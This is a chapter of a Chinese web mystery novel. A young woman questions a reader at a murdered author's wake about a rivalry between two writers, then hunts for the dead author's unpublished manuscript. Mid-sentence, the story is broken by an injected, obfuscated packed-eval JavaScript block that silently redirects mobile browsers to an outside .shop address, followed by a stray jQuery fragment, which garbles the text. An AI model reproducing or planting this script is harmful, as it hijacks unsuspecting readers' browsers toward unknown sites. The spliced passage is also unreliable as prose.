“你也是全彤小姐的读者吗?”
靠近男人后,虞捷出声询问,男人便将注意力从小门来到自己的身上。
男人看起来不过二十来岁,五官端正,眼底带着几分疲倦,一身素服,却没什么让人过目不忘的特点,像是路边随处可见的寻常书生,扔在人堆里转瞬就能淹没。
“是,”男人疲倦地扯了扯嘴角,露出一抹浅淡的笑,“我和我朋友都很喜欢她写的故事,只是我朋友觉得,两个大男人喜欢看爱情故事有些羞耻,不好意思来,就只有我来了。”
“全小姐写的是爱情故事呀?”虞捷刚说完,见男人微微蹙起眉头,继续说道,“我在外地做工,过年这几天才回来,我继父,是入殓师,这次全小姐的事是他接手的,我闲着没事就跟来了。”
继父两个字说得她尤为别扭,可眼下要拉近距离,这是最稳妥的身份,只能硬着头皮适应。
她顿了顿,见对方没接话,又说:“没想到会见到这么多人自发祭奠的场景,就有点好奇她是个怎样的人。”
男人似乎接受了她的说辞,沉默了片刻,目光望向全彤的灵位,语气变得柔和,道:“她写的故事非常温柔,不管背景多坎坷,是战乱也好,是家道中落也罢,女主角永远坚韧又聪慧,凭着自己的本事站稳脚跟,还能吸引男主真心靠近。我总觉得,作者本人肯定也是这样的姑娘,所以才会有这么多人来送她最后一程……没想到会有人恨她到这种地步。”
“那,她有什么仇人吗?或者说,竞争对手?”虞捷试探道,“我就是好奇,没别的意思。”
男人沉默了几秒,缓缓吐出三个字:“苗安姝。”
苗安姝。又是苗安姝。
虞捷心头一惊。
为什么连全彤的读者也会觉得,苗安姝和她有仇?
“苗安姝的书,也卖得很好吗?”她压下心里的震惊,追问。
男人摇摇头,神情复杂地看向她:“算不上好,和全小姐差得很远。但两人的思维方式特别像。从两人的第一本开始,几乎每次都会想到走向一致的故事。我朋友甚至戏称,这两人是异父异母的亲姐妹。”
“走向一致,难道是……”
“只是走向一致,其中的发展过程并不一样。”男人否认道,“你若是也都看过去,你也会觉得是两个不同的故事,但核心脉络巧合地相似,甚至可以说相似得过分。
“苗安姝的才华远远不如全小姐,据说两人每一次投稿,不管是谁先把稿子送到书局,书局都会特意等另一个人的稿子到齐,然后放在一起读,最后只选更好的那本发行售卖。而每一次……”
“……都是全小姐。”
男人缓缓地点头,同意了虞捷脱口而出的猜测。
“难怪你们都觉得苗安姝是凶手。”她不由得喃喃自语。
“每次和别人想到同样的故事框架,却每次都被淘汰,一次两次可能会归咎于自己能力不足,次数多了,难免会心生怨怼,甚至怀疑是对方故意打压自己,断自己的生路。”男人的语气中满是遗憾,“建国不过几年,在此之前,都是在混乱中也要书写美梦的人,本应该惺惺相惜。”
“但我听全小姐的姐姐说,全小姐很喜欢苗安姝的故事,还把没发表的故事都借来读了,那关系应该不差吧。”
“这在你看来是亲近,在苗安姝眼里,或许就是羞辱。”男人却完全持消极意见,“成功者对失败者说,‘你也很优秀,我很喜欢你的故事,能不能让我看看你写的故事?’失败者只会觉得是一种羞辱,是胜利者在炫耀,是在提醒自己有多失败。积怨久了,一点小事就可能成为爆发的导火索。”
“真的会有人这么想吗?”虞捷觉得不太对。
男人忽然偏了偏头,在她的脸上观察了一阵,瞳孔骤然收缩,但又快速恢复,故作镇定,道:“我听说,全小姐有一本新书,本来准备过完年就发行。我有个朋友在书局做事,听他说,新书的风格,和全小姐以往的很不一样,是女主为了朋友杀了男主的故事。这很不符合全小姐以往的风格。全小姐的笔下,不会有重要角色死亡。爱让重要角色死亡的,反而另有其人。”
“难道这样的故事其实是……”
“我朋友说,是苗安姝爱写的。”
虞捷顿时一愣。脑子里快速闪过不久前全舟说的话。
“全彤不知道为什么,偏偏很喜欢苗安姝写的故事,甚至跑去对方家里,求对方把不要的废稿也给她,现在那些废稿都堆在全家,还未归还。”
说到底,两个人写出来的故事,真的每一次都能如此相似吗?
虞捷感觉头皮发凉,看着周围真心实意为全彤难过的女孩子们,突然一阵泛寒。
“不过,也可能是全小姐突然想做点新的尝试,也可能是想证明,哪怕是带着恨意的故事,只要写的好,也能得到发行,所以尝试了一下。”
“……这按你刚才的说法,不是更像是羞辱了吗?”
用苗安姝的风格写,还能顺利发行,这对苗安姝来说,比之前的任何一次淘汰都要伤人。
“是啊,所以苗安姝恼羞成怒,怒不可遏地杀了全彤,并抛尸荒野了。”
越想越觉得浑身发毛,虞捷不由得打了个寒颤,潜意识中,她几乎要相信真的是苗安姝杀了全彤。
可隐约中,她又觉得似乎遗漏了重要的线索。
“还没出的那本,还会出吗?”
“会吧,毕竟是全小姐的遗作,书局肯定会重视。说难听点,全小姐出了这种事,书局说不定还会多印一些。”
“什么时候能开始卖?”
“下个月吧。”男人思索片刻后,又说,“不过全小姐家里应该已经有样书了。要是能拿到的话,说不定就能在发行前读到了。”
虞捷眼睛一亮。全舟现在正在收拾要还给苗安姝的废稿,如果和她说,全彤未发行的话本里有线索,说不定也能帮忙找出来。
她越想越兴奋,语气也高昂了一些:“谢谢你!我知道了!我还有点事,我先走了。”
男人似乎还想说什么,但见她已经迫不及待想离开,收回了未说出口的话,改为一句简单的告别:“不客气,姑娘。下次见。”
和全家的人打听了全舟的去向后,虞捷一路通畅走向后院,全家属实是当地的大家族,带院子的宅邸,池塘、假山、花圃,一应俱全。
神奇的是,明明是寒冬,花
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760767|206323||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
圃里却盛开着无名的小花,连墙角的腊梅都比不上那些小花鲜艳。不过虞捷的目光并没有留在花上太久,进入后院后,立刻就看见了好几个仆役侍奉在门口的屋子。
想必那就是全舟收拾东西的地方。
虞捷快步走去,还未到屋子前,就听见了全舟骂骂咧咧的声音:“都什么破烂玩意儿,写得乱七八糟,小彤到底是不是瞎眼了,居然喜欢这种东西。这个也是那苗安姝的,这个也是,她到底拿了多少垃圾回来。”
然后仆役手里的书简就堆越高,险些抱不住。
仆役们看见虞捷出现,最靠近屋内的那一个出声和全舟提醒:“大小姐,客人来了。”
“客人?老娘现在没空!啊,这不是虞女郎吗?”前一刻还皱着眉头气势汹汹,看见虞捷的脸后,急速换上一张亲切的笑脸,“不在外面等着,怎么进来了?”
“我听说,全小姐有本书准备过完年发行,我在想里面或许会有线索,想看看有没有样书,或者,原稿?”
接着,虞捷便将刚才听到的事情简单地概括了一遍。
毫不意外,全舟听完后,勃然大怒:“那男的什么意思!怀疑我妹妹剽窃是吧!就苗安姝写的这些垃圾!她写一辈子,都比不上我妹妹突破自我写一本!虞女郎,我跟你说,男人就是这样,就知道阴谋论,怀疑我妹妹的清白!再喜欢读我妹妹的故事,也是个烂人!”
“我也觉得不太可能,只是,我怀疑苗安姝也知道这件事,所以也会产生同样的怀疑,但我还没有读过原文,不敢妄加定论。”
“没有。”全舟果断回道,“我妹妹天真无邪,什么事情都爱和家里说,每次书局寄样书,她也会第一时间和我们说,但她这次没说,那就肯定还没送到。”
那能去哪里找呢?
虞捷刚要思考,刚才的男人的脸便浮现在脑海中。
“那您先忙,我离开一下。”
“唉!不是要去苗安姝家吗!别走啊!”
虞捷已经听不见全舟的声音了,她一门心思要抓住线索,一溜烟就跑回了灵堂中。
可那个男人已不在原地。
她本能想通过呼喊,来寻找对方,嘴刚张开,就发现自己还不知道对方的名字,只能和无头苍蝇一样,在人群中窜来窜去。
好几次差点撞到别人,引来好几声抱怨。
说来也奇怪,那个男人明明是独自来的,按理说在人群里应该很好找。可找了半天,愣是没看到他的影子,反而在几个陪着家人来的男人脸上,都看到了几分和他相似的轮廓。
他长得实在是太没特点了啊!虞捷忍不住在心里暗骂。
“你在找我吗?”
而那个人,就在这个时刻,轻轻拍了拍她的肩膀。
回眸时,男人的嘴角抽动了下,似乎想笑笑,可最终还是没能扬起来。
“你——”
你能不能带我去见你朋友?
你能不能帮我借下那本新书?
你能不能……
明明线索无比重要,追求线索的本能,可以让她想到无数种提问的句子,可在此时,她最优先问出的,却是另一个问题。
“你叫什么?”